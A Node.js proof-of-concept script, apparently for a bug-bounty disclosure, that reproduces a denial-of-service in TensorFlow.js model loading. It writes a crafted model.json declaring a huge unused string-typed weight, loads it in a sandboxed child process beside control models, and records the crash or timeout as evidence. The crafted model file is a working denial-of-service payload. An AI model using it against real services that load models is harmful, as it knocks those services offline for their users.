#!/usr/bin/env node
'use strict';

const fs = require('fs');
const path = require('path');
const {spawnSync} = require('child_process');

const PACKAGE_ROOT = __dirname;
const LOCAL_TFJS_PATH = path.join(PACKAGE_ROOT, 'node_modules/@tensorflow/tfjs');
const EVIDENCE_ROOT = path.join(PACKAGE_ROOT, 'evidence-runtime');
const GENERATED_ROOT = path.join(PACKAGE_ROOT, 'runtime-generated-models');
const DEFAULT_SHAPE = Number(process.env.MALICIOUS_SHAPE || '50000000');

function requireTfjs() {
  return require(LOCAL_TFJS_PATH);
}

async function buildBaseArtifacts(tf) {
  const model = tf.sequential();
  model.add(tf.layers.dense({units: 1, inputShape: [1], useBias: true}));
  model.setWeights([
    tf.tensor2d([2], [1, 1], 'float32'),
    tf.tensor1d([1], 'float32')
  ]);
  const save = await model.save(tf.io.withSaveHandler(async artifacts => artifacts));
  model.dispose();
  return save;
}

function writeModelFiles(prefix, modelTopology, weightSpecs, weightData) {
  const modelJson = {
    format: 'layers-model',
    generatedBy: 'tfjs-huntr-poc',
    convertedBy: null,
    modelTopology,
    weightsManifest: [{
      paths: [`${prefix}_weights.bin`],
      weights: weightSpecs
    }]
  };
  const modelPath = path.join(GENERATED_ROOT, `${prefix}_model.json`);
  const weightsPath = path.join(GENERATED_ROOT, `${prefix}_weights.bin`);
  fs.writeFileSync(modelPath, JSON.stringify(modelJson, null, 2));
  fs.writeFileSync(weightsPath, Buffer.from(weightData));
  return {modelPath, weightsPath};
}

async function prepareModels(shape) {
  fs.mkdirSync(GENERATED_ROOT, {recursive: true});
  const tf = requireTfjs();
  const base = await buildBaseArtifacts(tf);
  const baseSpecs = JSON.parse(JSON.stringify(base.weightSpecs));
  const baseTopology = JSON.parse(JSON.stringify(base.modelTopology));

  const control = writeModelFiles(
    'control',
    baseTopology,
    baseSpecs,
    base.weightData
  );

  const numeric = writeModelFiles(
    'numeric_extra_float32',
    baseTopology,
    baseSpecs.concat([{
      name: 'unused_extra_float32',
      shape: [shape],
      dtype: 'float32'
    }]),
    base.weightData
  );

  const malicious = writeModelFiles(
    'malicious_extra_string',
    baseTopology,
    baseSpecs.concat([{
      name: 'unused_extra_string',
      shape: [shape],
      dtype: 'string'
    }]),
    base.weightData
  );

  return {shape, control, numeric, malicious};
}

function loadModelJson(modelPath) {
  const modelJson = JSON.parse(fs.readFileSync(modelPath, 'utf8'));
  const manifest = modelJson.weightsManifest[0];
  const weightsPath = path.join(path.dirname(modelPath), manifest.paths[0]);
  const weights = fs.readFileSync(weightsPath);
  return {
    modelTopology: modelJson.modelTopology,
    weightSpecs: manifest.weights,
    weightData: weights.buffer.slice(weights.byteOffset, weights.byteOffset + weights.byteLength)
  };
}

async function runLoadChild(modelPath, predict) {
  const tf = requireTfjs();
  const artifacts = loadModelJson(modelPath);
  const started = process.hrtime.bigint();
  try {
    const model = await tf.loadLayersModel(tf.io.fromMemory(artifacts));
    const result = {
      status: 'ok',
      model_inputs: model.inputs.map(input => input.shape),
      model_outputs: model.outputs.map(output => output.shape),
      duration_ms: Number(process.hrtime.bigint() - started) / 1e6
    };
    if (predict) {
      const y = model.predict(tf.tensor2d([3], [1, 1], 'float32'));
      result.prediction = Array.from(await y.data());
      y.dispose();
    }
    model.dispose();
    console.log(JSON.stringify(result));
  } catch (error) {
    console.log(JSON.stringify({
      status: 'exception',
      error: {
        name: error.name,
        message: error.message,
        stack_head: error.stack ? error.stack.split('\n').slice(0, 5) : []
      },
      duration_ms: Number(process.hrtime.bigint() - started) / 1e6
    }));
  }
}

function parseLastJson(stdout) {
  const lines = stdout.trim().split(/\r?\n/).filter(Boolean);
  for (let i = lines.length - 1; i >= 0; i--) {
    try {
      return JSON.parse(lines[i]);
    } catch {
      continue;
    }
  }
  return null;
}

function runCase(name, modelPath, timeoutMs, predict = false) {
  const child = spawnSync(process.execPath, [
    '--max-old-space-size=256',
    __filename,
    '--child-load',
    modelPath,
    predict ? '--predict' : ''
  ].filter(Boolean), {
    cwd: PACKAGE_ROOT,
    timeout: timeoutMs,
    killSignal: 'SIGKILL',
    encoding: 'utf8',
    env: {
      ...process.env,
      TF_CPP_MIN_LOG_LEVEL: '3'
    }
  });
  const parsed = parseLastJson(child.stdout || '');
  return {
    name,
    model_path: modelPath,
    timeout_ms: timeoutMs,
    exit_code: child.status,
    signal: child.signal,
    spawn_error: child.error ? {code: child.error.code, message: child.error.message} : null,
    parsed_result: parsed,
    stdout_tail: (child.stdout || '').split(/\r?\n/).slice(-6).join('\n'),
    stderr_tail: (child.stderr || '').split(/\r?\n/).slice(-8).join('\n'),
    classification: child.error && child.error.code === 'ETIMEDOUT'
      ? 'timeout'
      : parsed && parsed.status
  };
}

async function runParent() {
  const shape = DEFAULT_SHAPE;
  const files = await prepareModels(shape);
  const results = [
    runCase('control_valid_model', files.control.modelPath, 5000, true),
    runCase('numeric_extra_float32_control', files.numeric.modelPath, 5000, false),
    runCase('malicious_extra_string_dos', files.malicious.modelPath, 3000, false)
  ];
  const summary = {
    generated_at: new Date().toISOString(),
    node: process.version,
    tfjs_version: require(path.join(LOCAL_TFJS_PATH, 'package.json')).version,
    malicious_shape: shape,
    files,
    results
  };
  fs.mkdirSync(EVIDENCE_ROOT, {recursive: true});
  const outPath = path.join(EVIDENCE_ROOT, `tfjs-string-weight-dos-repro-${new Date().toISOString().replace(/[:.]/g, '').replace('T', '-').replace('Z', '')}.json`);
  fs.writeFileSync(outPath, JSON.stringify(summary, null, 2));
  console.log(JSON.stringify(summary, null, 2));
  console.log(`wrote ${outPath}`);
}

if (process.argv[2] === '--child-load') {
  runLoadChild(process.argv[3], process.argv.includes('--predict')).catch(error => {
    console.log(JSON.stringify({
      status: 'exception',
      error: {name: error.name, message: error.message}
    }));
    process.exitCode = 1;
  });
} else {
  runParent().catch(error => {
    console.error(error && error.stack ? error.stack : error);
    process.exitCode = 1;
  });
}